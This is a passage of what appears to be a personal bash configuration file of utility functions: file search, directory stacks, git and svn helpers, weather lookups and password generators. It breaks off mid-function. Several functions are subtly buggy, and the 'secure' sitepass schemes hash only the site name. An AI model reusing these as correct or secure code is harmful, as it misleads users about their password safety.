####### Diffs two xml files by formatting them first - using xmllint and then invoking diff - usage: diffxml XMLFile1 XMLFile2
function diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }

######## Dirsize - finds directory sizes and lists them for the current directory
function dirsize()
{
	du -shx * .[a-zA-Z0-9_]* 2> /dev/null | \
	egrep '^ *[0-9.]*[MG]' | sort -n > /tmp/list
	egrep '^ *[0-9.]*M' /tmp/list
	egrep '^ *[0-9.]*G' /tmp/list
	rm /tmp/list
}

# Display off (Turns the display off)		 #
#------------------------------------------////

###### turns the display off and will stay off until any key/cursor is touched
function display-off()
{
cat > "/tmp/display-off.py" <<"End-of-message"
#!/usr/bin/python
import time
import subprocess
from Xlib import X
from Xlib.display import Display
display = Display(':0')
root = display.screen().root
root.grab_pointer(True,
        X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
root.grab_keyboard(True,
        X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)
subprocess.call('xset dpms force off'.split())
p = subprocess.Popen('gnome-screensaver-command -i'.split())
time.sleep(1)
while True:
    print display.next_event()
    p.terminate()
    break
End-of-message
chmod +x "/tmp/display-off.py"
"/tmp/display-off.py"
/bin/rm "/tmp/display-off.py"
}

###### turns the display off and will stay off until this command is run again or cancelled, even after key/cursor is touched
function display-offed() { LF=/tmp/screen-lock; if [ -f $LF ]; then /bin/rm $LF; else touch $LF; sleep .5; while [ -f  $LF ]; do xset dpms force off; sleep 2; done; fi ; }

###### turns the display off and will stay off until any key/cursor is touched Display off with login (Turns the display off)
function display-oft()
{
cat > "/tmp/display-oft.py" <<"End-of-message"
#!/usr/bin/python
import time
import subprocess
from Xlib import X
from Xlib.display import Display
display = Display(':0')
root = display.screen().root
root.grab_pointer(True,
        X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
root.grab_keyboard(True,
        X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)
subprocess.call('xset dpms force off'.split())
p = subprocess.Popen('gnome-screensaver-command -i'.split())
time.sleep(1)
while True:
    print display.next_event()
    p.terminate()
    subprocess.Popen('gnome-screensaver-command -l'.split())
    break
End-of-message
chmod +x "/tmp/display-oft.py"
"/tmp/display-oft.py"
/bin/rm "/tmp/display-oft.py"
}

###### Change to specified pkg's documentation dir and display the files - Usage: doc
function doc() {
    pushd "/usr/share/doc/$1" && ls
}

####### Lists unique IPs currently connected to logged-in system & how many concurrent connections each IP has
function doscheck()
{
	"netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n"
}

####### Symlinks all hidden files in a directory to the same names without the dot
function dot_ln()
{
    for file in `/bin/ls -a | /bin/egrep "^\.[^./]"` ; do
        if [[ "$1" == "-f" ]] ; then
            /bin/ln -svif $file ${file:1}
        else
            /bin/ln -svi $file ${file:1}
        fi
    done
}

####### Site down for everyone or just me?
function downforme() {
    RED='\e[1;31m'
    GREEN='\e[1;32m'
    YELLOW='\e[1;33m'
    NC='\e[0m'
    if [ $# = 0 ]
    then
	echo -e "${YELLOW}usage:${NC} downforme website_url"
    else
	JUSTYOUARRAY=(`lynx -dump http://downforeveryoneorjustme.com/$1 | grep -o "It's just you"`)
	if [ ${#JUSTYOUARRAY} != 0 ]
	then
	    echo -e "${RED}It's just you. \n${NC}$1 is up."
	else
	    echo -e "${GREEN}It's not just you! \n${NC}$1 looks down from here."
	fi
    fi
}

####### Size of directories in MB
function ds()
{
    echo "size of directories in MB"
    if [ $# -lt 1 ] || [ $# -gt 2 ]; then
        echo "you did not specify a directy, using pwd"
        DIR=$(pwd)
        find $DIR -maxdepth 1 -type d -exec du -sm \{\} \; | sort -nr
    else
        find $1 -maxdepth 1 -type d -exec du -sm \{\} \; | sort -nr
    fi
}

####### Size of items in directory
function dubigf() {
  du -sh * | awk '/[[:space:]]*[[:digit:]]+,*[[:digit:]]*G/' | sort -nr
  du -sh * | awk '/[[:space:]]*[[:digit:]]+,*[[:digit:]]*M/' | sort -nr
}

###### # Find duplicate/non-duplicate lines in series of files or in stdin	- find duplicate lines
function dups() { sort "$@" | uniq -d; }

###### find duplicate lines, keep just 1 of them, and output to txt file
function dupscleaner() { sort "$@" | uniq -d > dupscleaned.txt; }

###### find duplicate lines, remove all non-duplicate lines and output to txt file
function dupsonly() { sort "$@" | uniq -D > dupsonly.txt; }

###### find non-duplicate lines
function nondups() { sort "$@" | uniq -u; }

###### find duplicate lines, remove all of them, keeping just non-duplicate lines and output to txt file
function nondupsonly() { sort "$@" | uniq -u > nondupsonly.txt; }

###### View portage changelog for specified package - $1 = package name
function echange() {
    PACKAGE="$(eix -e --only-names $1)"
    if [ "$PACKAGE" != "" ]; then
        view /usr/portage/$PACKAGE/ChangeLog
    fi
}

# Directory operations: editd, flipd, popd, printd, pushd, rotd, swapd			 #
#------------------------------------------////

###### Edit directory stack
function editd() {
  export EDITDNO=$((${EDITDNO:=0} + 1))
  typeset FiLe=/tmp/`basename -- $0`$$.${EDITDNO}
  printd >${FiLe}
  ${EDITOR} ${FiLe}
  DS=`while read ea; do echo -n "$ea:"; done <${FiLe}`
  rm -f ${FiLe}
}

###### flip back-and-forth between current dir and top of stack (like "cd -")
function flipd() {
  if [ "$DS" ]
  then
    cd "${DS%%:*}"
    export DS="$OLDPWD:${DS#*:}"
  else
    echo "$0: empty directory stack" >&2
  fi
}

###### pop top dir off stack and cd to it
function popd() {
  if [ "$DS" ]
  then
    cd "${DS%%:*}"
    export DS="${DS#*:}"
  else
    echo "$0: empty directory stack" >&2
  fi
}

###### Print directory stack
function printd() {
  ( IFS=:; for each in $DS; do echo $each; done; )
}

###### Change to new dir, pushing current onto stack
function pushd() {
  export DS="$PWD:$DS"
  if [ -n "$1" ]; then cd "$1"; else cd; fi || export DS="${DS#*:}"
}

###### rotate thru directory stack (from bottom to top)
function rotd() {
  if [ "$DS" ]
  then
    typeset DSr="${DS%:*:}"
    [ "${DSr}" = "${DS}" ] || export DS="${DS##${DSr}:}$DSr:"
    flipd
  else
    echo "$0: directory stack is empty" >&2
  fi
}

###### swap top two dir stack entries
function swapd() {
  typeset DSr="${DS#*:}"
  if [ "$DSr" ]
  then
    export DS="${DSr%%:*}:${DS%%:*}:${DSr#*:}"
  else
    echo "$0: less than two on directory stack" >&2
  fi
}

if [ ! -f ${HOME}/.lastdir ];then
    cat > ${HOME}/.lastdir
fi

alias lastd="cd $(cat ~/.lastdir)"         # change to last dir at 'bye'

###### save current dir for lastd on exit if not $HOME
alias saved='[ ${PWD} != ${HOME} ] && pwd >~/.lastdir; [ -n "${DS}" ] && echo "${DS}" >~/.dirstak'

###### get dir stack back on login
[ -s ${HOME}/.dirstak ] && export DS=`cat ${HOME}/.dirstak`

###### Download ed2k file
function ed2k()
{
	wget -q -O - "$1" | grep "ed2k://" |  sed -e 's/^.*=//g;s/..$//g'
}

####### Edit your history file
function eh() { history -a ; vi ~/.bash_history ; history -r ; }

####### Elements database
function ele() {
    dict -d elements $@
}

####### Show empty files in the directed directory
function empty() {
    
    find "$1" -empty
}

####### Surround lines with quotes (useful in pipes)
function enquote() { /usr/bin/sed 's/^/"/;s/$/"/' ; }

####### Determining the meaning of error codes
function err()
{
    grep --recursive --color=auto --recursive -- "$@" /usr/include/*/errno.h
    if [ "${?}" != 0 ]; then
        echo "Not found."
    fi
}

####### View latest installable portage ebuild for	specified package - $1 = package name
function eview() {
    FILE=$(equery which $1)
    if [ -f "$FILE" ]; then
        view $FILE
    fi
}

####### Exchange stuff from two places
function exchange()

{
    typeset temp
    SAVE=$IFS
    IFS=''
    eval $(echo "temp=\"\$$1\"")
    eval $(echo "$1=\"\$$2\"")
    eval $(echo "$2=\"$temp\"")
    IFS=$SAVE
}

####### URLs ... -  expand shortened URLs
function expandurl() { curl -sIL $1 2>&1 | awk '/^Location/ {print $2}' | tail -n1; }

###### short URLs with is.gd
function isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;}

###### resolve short URLs
function resolve() { curl -Is $1 | sed -n 's/^Location: //p'; }

####### CIA world fact book
function fact() {
    dict -d world02 $@
}

####### Passwording - fake name and pass
function fakepass()
{
  local l=8
  [ -n "$1" ] && l=$1
  dd if=/dev/urandom count=1 2> /dev/null | uuencode -m - | head -n 2 | tail -n 1 | cut -c $l
}
alias fakename='nc koeln.ccc.de 23 | cut -d \  -f 4,5'

###### password file
function pw()
{
    if [ "$OS" = "Linux" ]; then
        gpg $HOME/priv.asc
        vi -n $HOME/priv
        gpg -ea $HOME/priv
        wipe -f $HOME/priv
    elif [ "$OS" = "Darwin" ]; then
        gpg $HOME/Documents/priv.asc
        vi -n $HOME/Documents/priv
        gpg -ea $HOME/Documents/priv
        srm -f $HOME/Documents/priv
    fi
}

###### generate a random password - $1 = number of characters; defaults to 32 - $2 = include special characters; 1 = yes, 0 = no; defaults to 1
function randompw() {
    if [[ $2 == "!" ]]; then
	echo $(cat /dev/urandom | tr -cd '[:graph:]' | head -c ${1:-32})
    else	echo $(cat /dev/urandom | tr -cd '[:alnum:]' | head -c ${1:-32})
    fi
}

###### generate a random left-hand password
alias randompwl='</dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo ""'

###### generate a unique and secure password for every website that you login to
function sitepass() { 
	echo -n "$@" |  md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]"  | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); 
}

###### generates a unique and secure password with SALT for every website that you login to
function sitepass2()
{
	salt="this_salt";pass=`echo -n "$@"`;for i in {1..500};do pass=`echo -n $pass$salt|sha512sum`;done;echo$pass|gzip -|strings -n 1|tr -d "[:space:]"|tr -s '[:print:]' |tr '!-~' 'P-~!-O'|rev|cut -b 2-15;history -d $(($HISTCMD-1));
}

###### trunc	password
function trunc_pwd()
{
    case $1 in
	*help )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}trunc_pwd ${ewhite}|${egreen} ! no options !\n"
	    tput sgr0
	;;
	* )
	    pwdmaxlen=$(get_key pwdmaxlength)
	    trunc_symbol=$(get_key pwdchar)
	    dirchar=$(get_key dirchar)
	    newsepacolor=$(echo $sepacolor | sed -e 's/\\\[//g' -e 's/\\\]//g')
	    newwdircolor=$(echo $wdircolor | sed -e 's/\\\[//g' -e 's/\\\]//g')
	    newpscoloror=$(echo $pscolor | sed -e 's/\\\[//g' -e 's/\\\]//g')
	    if [ ${#PWD} -gt $pwdmaxlen ]; then
		pwdoffset=$(( ${#PWD} - $pwdmaxlen ))
		if [[ $pstyle_supported == true ]]; then
		    xPWD="$newpscoloror${trunc_symbol}${PWD:$pwdoffset:$pwdmaxlen}"
		else	xPWD="${trunc_symbol}${PWD:$pwdoffset:$pwdmaxlen}"
		fi
		if [[ $enabcol == true && $pstyle_supported == true ]]; then
		    newPWD="${xPWD//\//$newsepacolor$dirchar$newwdircolor}"
		else	newPWD="${xPWD//\//$dirchar}"
		fi
	    else
		if [[ $enabcol == true && $pstyle_supported == true ]]; then
		newPWD="${PWD//\//$newsepacolor$dirchar$newwdircolor}"
	    else	newPWD="${PWD//\//$dirchar}"
	    fi
	    fi
	    echo -e $newPWD
	;;
    esac
}

# Find a file(s) ... with pattern $1 in name and Execute $2 on it
function fe() { find . -type f -iname '*'$1'*' -exec "${2:-file}" {} \;  ; }

###### ... under the current directory
function ff() { /usr/bin/find . -name "$@" ; }

###### ... whose name ends with a given string
function ffe() { /usr/bin/find . -name '*'"$@" ; }

###### ... fast find (by filename; uses sh, less and sed)
function ffind() { local a=$1; local b=$2; local c="$a"*/*"$b"*; case $# in [01])echo usage: ff drive string [match-no\(s\)];; 2)printf "%s\n" $c|less -SN;; 3)less $(printf "%s\n" $c|sed -n "$3"p|tr '\n' ' ');; esac; }

###### ... whose name starts with a given string
function ffs() { /usr/bin/find . -name "$@"'*' ; }

###### ... larger than a certain size (in bytes)
function find_larger() { find . -type f -size +${1}c ; }

###### find a file with a pattern in name in the local directory
function fp()
{
    find . -type f -iname '*'$*'*' -ls ;
}

###### find pattern in a set of files and highlight them
function fstr()
{
	    OPTIND=1
	    local case=""
	    local usage="fstr: find string in files.
	Usage: fstr [-i] \"pattern\" [\"filename pattern\"] "
	    while getopts :it opt
	    do
		   case "$opt" in
		   i) case="-i " ;;
		   *) echo "$usage"; return;;
		   esac
	    done
	    shift $(( $OPTIND - 1 ))
	    if [ "$#" -lt 1 ]; then
		   echo "$usage"
		   return;
	    fi
	    local SMSO=$(tput smso)
	    local RMSO=$(tput rmso)
	    find . -type f -name "${2:-*}" -print0 | xargs -0 grep -sn ${case} "$1" 2>&- | \
	sed "s/$1/${SMSO}\0${RMSO}/gI" | more
}

###### searches through the text of all the files in your current directory # http://seanp2k.com/?p=13 # Good for debugging a PHP script you didn't write and can't trackdown where MySQL connect string actually is
function grip() {
	grep -ir "$1" "$PWD"
}

###### ... who is the newest file in a directory
function newest() { find ${1:-\.} -type f |xargs ls -lrt ; }

###### Festival - text-to-speech -> requires festival: sudo apt-get install festival - Usage:	fest "text"
function fest() {
    echo $1 | festival --tts
}

####### Find in file and ( AND relation )  Will search PWD for text files that contain $1 AND $2 AND $3 etc... Actually it does the same as grep word1|grep word2|grep word3 etc, but in a more elegant way.
function ffa() { (($# < 2)) && { echo "usage: ffa pat1 pat2 [...]" >&2; return 1; };awk "/$1/$(printf "&&/%s/" "${@:2}")"'{ print FILENAME ":" $0 }' *; }

####### Alternative for basename using grep to extract file name eg: fileName /path/to/file.ext
function fileName()  { echo "$1"  | grep -o "[^/]*$"; }

####### Extract extention of a file	
function filext() { echo ${1##*.}; }

###### Pick the first program found from a list of alternatives -> used to set environmental variables from list of alternatives depending on what's installed (uses bash setting 'export BROWSER' above) it returns the first program found in the list -> Usage:	export BROWSER=$(find_alternatives chromium-browser google-chrome opera firefox firefox-bin iceweasel konqueror w3m lynx)
function find_alternatives() { for i;do which "$i" >/dev/null && { echo "$i"; return 0;};done;return 1; }

######  Find out the pid of a specified process -> note that the command name can be specified via a regex -> E.g. findPid '/d$/' finds pids of all processes with names ending in 'd' - Without the 'sudo' it will only find processes of the current user
function findPid() { sudo /usr/sbin/lsof -t -c "$@" ; }

######## Search for a word in the Unix word list
function findword() { /usr/bin/grep ^"$@"$ /usr/share/dict/words ; }

####### Recursively fix dir/file permissions on agiven directory
function fix() {
	if [ -d $1 ]; then
	find $1 -type d -exec chmod 755 {} \;
	find $1 -type f -exec chmod 644 {} \;
	else
	echo "$1 is not a directory."
	fi
}

####### Edit files in place to ensure Unix linendings
function fixlines() { /usr/bin/perl -pi~ -e 's/\r\n?/\n/g' "$@" ; }

###### Fix eclipse mistakes with tabs - Sources files should never use TABs for indenting because they may looks different in different editors. For example there popular Eclipse IDE use a the non default tab size 4
function fix-tabs() { expand -t 4 "$1" > "$1.expanded"; mv -f "$1.expanded" "$1"; }

###### Inserts a flag with the specified content - Usage: flag "comment" - If no comment, inserts the date.
function flag() {
    if [ "$1" == "" ];
    then
        echo -e  "\e[0;31m[====== " `date +"%A %e %B %Y"`, `date +"%H"`h`date +"%M"` " ======]\e[0m"
    else
        echo -e  "\e[0;31m[====== " $@ " ======]\e[0m"
    fi
}

###### Inserts a flag and executes the command - Example: flagcommand ls
function flagcommand() {
    if [ "$1" == "" ];
    then
        return
    else
        flag $@
        $@
    fi
}

###### Flight status - track flights from the command line (requires html2text: sudo apt-get install html2text)
function flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }

###### Autofocus window after executing some command example: focus make all from: http://noisy-coder.blogspot.com/2010/10/autofocus-window.html
function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit;}'`; $@; wmctrl -i -a $winID; }

###### Weather and stuff - 10-day forcast - USAGE:	forecast 50315
function forecast() {
	_ZIP=$1

	if   [ $# = 1 ];then
		printf "$_ZIP\n" | egrep '^[0-9][0-9][0-9][0-9][0-9]$' >>/dev/null
		if   [ $? = 0 ];then
			printf "Your 10 Day Weather Forecast as follows:\n";
			lynx -dump "http://www.weather.com/weather/print/$_ZIP" | sed -n '/%$/s/\[.*\]//p';
			printf "\n"
		elif [ $? = 1 ];then
			printf "Bad ZIP code!\n"
		fi
	elif [ $# != 1 ];then
		printf "You need to supply a ZIP code!\n"
	fi
}

###### get sunrise and sunset times
function suntimes()
{
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\" '{print $2 "\n" $4;}'
}

###### weather-util - requires "weather-util" and "weather-util-data" - sudo apt-get install weather-util weather-util-data - Usage = weather 'zip'/'location'/'code' weather search without extended forecast
alias weather='weather-util'

####### weather search with extended forecast
alias weatherf='weather-util --forecast'

###### weather by US zip code - Can be called two ways	# weather 50315	# weather "Des Moines"
function weather_()
{
	declare -a WEATHERARRAY
	WEATHERARRAY=( `lynx -dump http://google.com/search?q=weather+$1 | grep -A 5 '^ *Weather for' | grep -v 'Add to'`)
	echo ${WEATHERARRAY[@]}
}

###### weather search with function "forecast"
function zipweather()
{
	search=$1
	weather-util $search
	forecast $search
}

####### Easily run a program in the background without losing output
function fork() { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& }

####### Get FreeMusicCharts of the current month
function freemusiccharts()
{
	wget -O - "http://www.darkerradio.com/news/free-music-charts-$(date "+%B-%Y")/" 2> /dev/null | grep -o "http://[^ \"']*\.mp3" |grep "freemusiccharts.songs" | sort | uniq | xargs -n1 wget -c
}

####### Find all bash functions in a file
#------------------------------------------////

###### finds all functions defined in any shell script secified, including .bashrc
function functions() { read -p "File name> "; sort -d $REPLY | grep "() {" | sed -e 's/() {//g' | less; }

####### ISO-maker from disc
function geniso() {
    
    if [[ $CD_WRITER ]]; then
	dd $DD_OPTS if=$CD_WRITER of="$1"
    else	dd $DD_OPTS if=/dev/dvdrw of="$1"
    fi
}

####### Extract a particular column of spaceseparated output e.g.: lsof | getcolumn 0 | sort | uniq
function getcolumn() { perl -ne '@cols = split; print "$cols['$1']\n"' ; }

####### Get duration of an audio file in seconds.
function get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo ${durline#*\: }; }

###### Get/verify info on stuff (useful in other functions) usage: getExtension <filename>
function getExtension(){ echo "${1##*.}"; }

###### getFileName
function getFileName()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
# further tweaked by: jsz
# usage: getFileName <filename>
{
    local filename=${1##*/}
    echo "${filename%.*}"
}

###### getPath
function getPath()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
# further tweaked by: jsz
# usage: getPath <filename>
{ echo "${1%/*}"; }

###### inStr
function inStr()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
# further tweaked by: jsz
# usage: inStr <char> <string>
{
    local i

    for ((i = 0; i < ${#2}; i++)); do
        if [[ ${2:i:1} = $1 ]]; then
            echo "$i"
        fi
    done
}

###### notADot
function notADot()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
{
   if [[ ${1} != '.' ]]
   then
      return 0
   else
      return 1
   fi
}

###### notAForwardSlash
function notAForwardSlash()
{
   if [[ ${1} != '/' ]]
        then
      return 0
        else
           return 1
        fi
}

####### Download the latest kernel
function get_kernel() {
    
    if [[ $1 == "-s" ]]; then
	wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-${2}.tar.bz2
    elif [[ $1 == "-t" ]]; then
	wget http://www.kernel.org/pub/linux/kernel/v2.6/testing/linux-${2}.tar.bz2
    elif [[ $1 == "-sg" ]]; then
	git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-${2}.y.git
    elif [[ $1 == "-tg" ]]; then
	git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git
    elif [[ $1 == "-z" ]]; then
	wget http://downloads.zen-kernel.org/${2}/${2}-zen${3}.patch.lzma
    fi
}

# Git stuff					 #
#------------------------------------------////

###### git_action
function git_action() {
    if [[ -d .git ]]; then
	if [[ -f .git/dotest/rebasing ]]; then
	    ACTION="rebase"
	elif [[ -f .git/dotest/applying ]]; then
	    ACTION="apply"
	elif [[ -f .git/dotest-merge/interactive ]]; then
	    ACTION="rebase -i"
	elif [[ -d .git/dotest-merge ]]; then
	    ACTION="rebase -m"
	elif [[ -f .git/MERGE_HEAD ]]; then
	    ACTION="merge"
	elif [[ -f .git/index.lock ]]; then
	    ACTION="locked"
	elif [[ -f .git/BISECT_LOG ]]; then
	    ACTION="bisect"
	else	ACTION="nothing"
	fi
	echo $ACTION
    else	echo --
    fi
}

###### git_branch
function git_branch() {
    if [[ -d .git ]]; then
	BRANCH=$(git symbolic-ref HEAD 2>/dev/null)
	echo ${BRANCH#refs/heads/}
    else	echo --
    fi
}

###### git_bzip
function git_bzip() {
    git archive master | bzip2 -9 >"$PWD".tar.bz2
}

###### git_e
function git_e() {
    if [[ "$SVN_USER_ENLIGTENMENT" && $1 == "-m" ]]; then
	svn co svn+ssh://"$SVN_USER_ENLIGTENMENT"@svn.enlightenment.org/var/svn/$2
    else
	svn co http://svn.enlightenment.org/svn/$2
    fi
}

###### git_export
function git_export() {
    if [[ "$1" != "" ]]; then
	git checkout-index --prefix="$1"/ -a
    fi
}

###### git_gnome
function git_gnome() {
    if [[ $GIT_USER_GNOME ]]; then
	if [[ $1 == "-m" ]]; then
	    git clone git+ssh://$GIT_USER_GNOME@git.gnome.org/git/$2
	elif [[ $1 == "-mb" ]]; then
	    git clone -b $3 git+ssh://$GIT_USER_GNOME@git.gnome.org/git/$2
	fi
    fi
    if [[ $1 == "-b" ]]; then
	git clone -b $3 git://git.gnome.org/$2
    else 	git clone git://git.gnome.org/$1
    fi
}

###### git_kde
function git_kde() {
    if [[ "$SVN_USER_KDE" ]]; then
	if [[ $1 == "-m" ]]; then
	    svn co --user-name="$SVN_USER_KDE" svn+ssh://svn.kde.org/home/kde/trunk/KDE/$2
	elif [[ $1 == "-mb" ]]; then
	    svn co --user-name="$SVN_USER_KDE" svn+ssh://svn.kde.org/home/kde/branches/KDE/$2
	fi
    fi
    if [[ $1 == "-b" ]]; then
	svn co svn://svn.kde.org/home/kde/branches/KDE/$2
    else	svn co svn://svn.kde.org/home/kde/trunk/KDE/$2
    fi
}

###### git_revision
function git_revision() {
    if [[ -d .git ]]; then
	REVISION=$(git rev-parse HEAD 2>/dev/null)
	REVISION=${REVISION/HEAD/}
	echo ${REVISION:0:6}
    else	echo --
    fi
}

###### git_xfce
function git_xfce() {
    if [[ $GIT_USER_XFCE ]]; then
	if [[ $1 == "-m" ]]; then
	    git clone ssh://$GIT_USER_XFCE@git.xfce.org/git/$2
	elif [[ $1 == "-mb" ]]; then
	    git clone -b $3 ssh://$GIT_USER_XFCE@git.xfce.org/git/$2
	fi
    fi
    if [[ $1 == "-b" ]]; then
	git clone -b $3 git://git.xfce.org/$2
    else	git clone git://git.xfce.org/$1
    fi
}

###### git_xz
function git_xz() {
    git archive master | xz -9 > "$PWD".tar.xz
}

###### gup
function gup() {
  git fetch && git rebase origin/$(git branch | grep '^\*' | cut -d\  -f2)
}

###### edit the svn log at  the given revision
function svnlogedit() {
    svn propedit svn:log --revprop -r$1 --editor-cmd gedit
}

###### svn recursive directory/file adder this will recursively add files/directories in SVN
function svnradd() { for i in $1/*;do if [ -e "$i" ];then if [ -d "$i" ];then svn add $i;svnradd $i;else svn add $i;fi; fi;done }

###### bash function for convenient 'find' in subversion working directories
function svn_find() { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; }

###### display the revision number of the current repository
function svn_rev() {
    svn info $@ | awk '/^Revision:/ {print $2}'
}

###### do a svn update and show the log messages since the last update
function svn_uplog() {
    local old_revision=`svn_rev $@`
    local first_update=$((${old_revision} + 1))

    svn up -q $@
    if [ $(svn_rev $@) -gt ${old_revision} ]
    then
	svn log -v -rHEAD:${first_update} $@
    else
	echo "No Changes."
    fi
}

# Speed up builds and scripts, remove duplicate  entries in $PATH. Users scripts are often bad: PATH=/apath:$PATH type of thing cause duplicate#
#------------------------------------------////

function glu() { (local IFS="$1"; shift && echo "$*") }

function repath() { ( _E=`echo "${PATH//:/$'\n'}" | awk '!x[$0]++'`; glu ":" $_E ) ; }
PATH=`repath`
export PATH

# Pipe stdout to image and mail
#------------------------------------------////

function gotxt2imgmail() { if [ $# != 1 ]; then echo 'gotxt2imgmail < email >'; return; fi; e="$1"; f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e ; }

# Twitter, Twitter, Twitter
#------------------------------------------////

###### view someone's twitter stream from terminal
function grabtweets() { curl -s "twitter.com/$1" | sed -ne '/entry-content/{s/<[^>]*>//g;s/^[ \t]*//;p}'; }

###### update twitter via curl as function
function tweet() { curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }

###### Hide-Unhide-In-Nautilus.sh - Usage: hideme filename	(hideme whatever.txt) - Hide/Unhide file(s)/folder(s) in Nautilus
function hideme()
{
	# Creator: Inameiname
	# Date: 21 June 2011
	# Version: 1.0
	#
	#
	# This is a simple nautilus script to automatically add file(s)/folder(s)
	# to a ".hidden" file so Nautilus will hide them, just like ".*" files
	# Instructions:
	# - decide what file(s)/folder(s) you want to hide inside a particular folder,
	# - highlight them, and right click and select the script
	# - it will automatically add the filenames to a created ".hidden" file inside the directory
	# - if ".hidden" isn't there, it will add it
	# - if you decide to unhide things, simply highlight and select the script again,
	# - and it will automatically remove the filenames from the ".hidden" file
	# - if ".hidden" contains no filenames, it will remove it
	#
	#
	# Optionals:
	# - Add the option to change the owner and group for whatever is selected to hide/unhide
	# - Add the option to add the permissions for whatever is selected to hide/unhide
	# - Add the option to make executable whatever is selected to hide/unhide
	#
	#
	# Remember this only works inside the current directory/opened folder and files/folders inside that folder.
	# Just comment out or uncomment whatever desired.
	# Currently, only the ability to hide/unhide stuff is uncommented,
	# but you can always just comment it out, and uncomment one of the "Make Executable" commands,
	# and/or one of the "Change the owner and/or group of each file" commands,
	# and/or one of the "Add permissions" commands, or mix and match whatever you want.
	#
	#
	# For the changes to take effect to the file(s)/folder(s) you hid/unhid, you may have to refresh the folder, or even Nautilus
	# Set IFS so that it won't consider spaces as entry separators.
	# Without this, spaces in file/folder names can make the loop go wacky.
	IFS=$'\n'
	# See if the Nautilus environment variable is empty
	if [ -z $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ]; then
	    # If it's blank, set it equal to $1
	    NAUTILUS_SCRIPT_SELECTED_FILE_PATHS=$1
	fi
	# Loop through the list (from either Nautilus or the command line)
	for ARCHIVE_FULLPATH in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS; do
	    NEWDIRNAME=${ARCHIVE_FULLPATH%.*}
	    FILENAME=${ARCHIVE_FULLPATH##*/}
	    NAME=${ARCHIVE_FULLPATH##*/.*}
	    # Hide/Unhide file(s)/folder(s) using ".hidden" file within the current folder
		 # Copies all selected files/folders filenames to ".hidden"
		   echo $FILENAME >> .hidden
		 # Sorts and Checks ".hidden" for any duplicates
		   sort .hidden | uniq -u > .hidden_temp
		   rm .hidden
		   mv .hidden_temp .hidden
		 # Checks ".hidden" to see if there is anything there; if not, it removes it
		   for file in .hidden
		   do
			if [ `wc -l < $file` -eq 0 ]; then
			   # file is empty
			   rm $file
			fi
		   done
	    # Change the owner and/or group of each FILE to OWNER and/or GROUP, if desired
		 # chown -R $USER:$USER $ARCHIVE_FULLPATH # set owner:group to current user
		 # gnome-terminal -x sudo chown -R root:root $ARCHIVE_FULLPATH # set owner:group to root
		 # gnome-terminal -x sudo chown -R $USER:$USER $ARCHIVE_FULLPATH # set owner:group to current user
	    # Add permissions, if desired
		 # chmod 444 $ARCHIVE_FULLPATH # read-only permissions for all
		 # chmod 600 $ARCHIVE_FULLPATH # read/write for you, no permissions for rest
		 # chmod 644 $ARCHIVE_FULLPATH # read/write for you, read-only permissions for rest (default)
		 # sudo chmod 444 $ARCHIVE_FULLPATH # read-only permissions for all
		 # sudo chmod 600 $ARCHIVE_FULLPATH # read/write for you, no permissions for rest
		 # sudo chmod 644 $ARCHIVE_FULLPATH # read/write for you, read-only permissions for rest (default)
	    # Make executable, if desired
		 # chmod +x $ARCHIVE_FULLPATH
		 # gnome-terminal -x sudo chmod +x $ARCHIVE_FULLPATH

	done
	# Add a notification when finished, if desired
	    echo -n ''
	    echo -n 'Job Finished
	'
}
alias unhideme='hideme'

####### Cool History Summerizer
function historyawk() { history|awk '{a[$2]++}END{for(i in a){printf"%5d\t%s\n",a[i],i}}'|sort -nr|head; }

# Progress visuals				 #
#------------------------------------------////

###### display animated hourglass in the shell to indicate ongoing processing
function hourglass() { s=$(($SECONDS +${1:-10}));(tput civis;while [[ $SECONDS -lt $s ]];do for f in '|' ' ' '\-' /;do echo -n $f&&sleep .2s&&tput cub1;done;done);tput cnorm; }

###### pretty progressbar
function progressbar()
{
    SP_COLOUR="\e[37;44m"
    SP_WIDTH=5.5
    SP_DELAY=0.2
    SP_STRING=${2:-"'|/=\'"}
    while [ -d /proc/$1 ]
    do
	printf "$SP_COLOUR\e7  %${SP_WIDTH}s  \e8\e[01;37m" "$SP_STRING"
	sleep ${SP_DELAY:-.2}
	SP_STRING=${SP_STRING#"${SP_STRING%?}"}${SP_STRING%?}
    done
    tput sgr0
}

###### please wait...
function spanner() {
    PROC=$1;COUNT=0
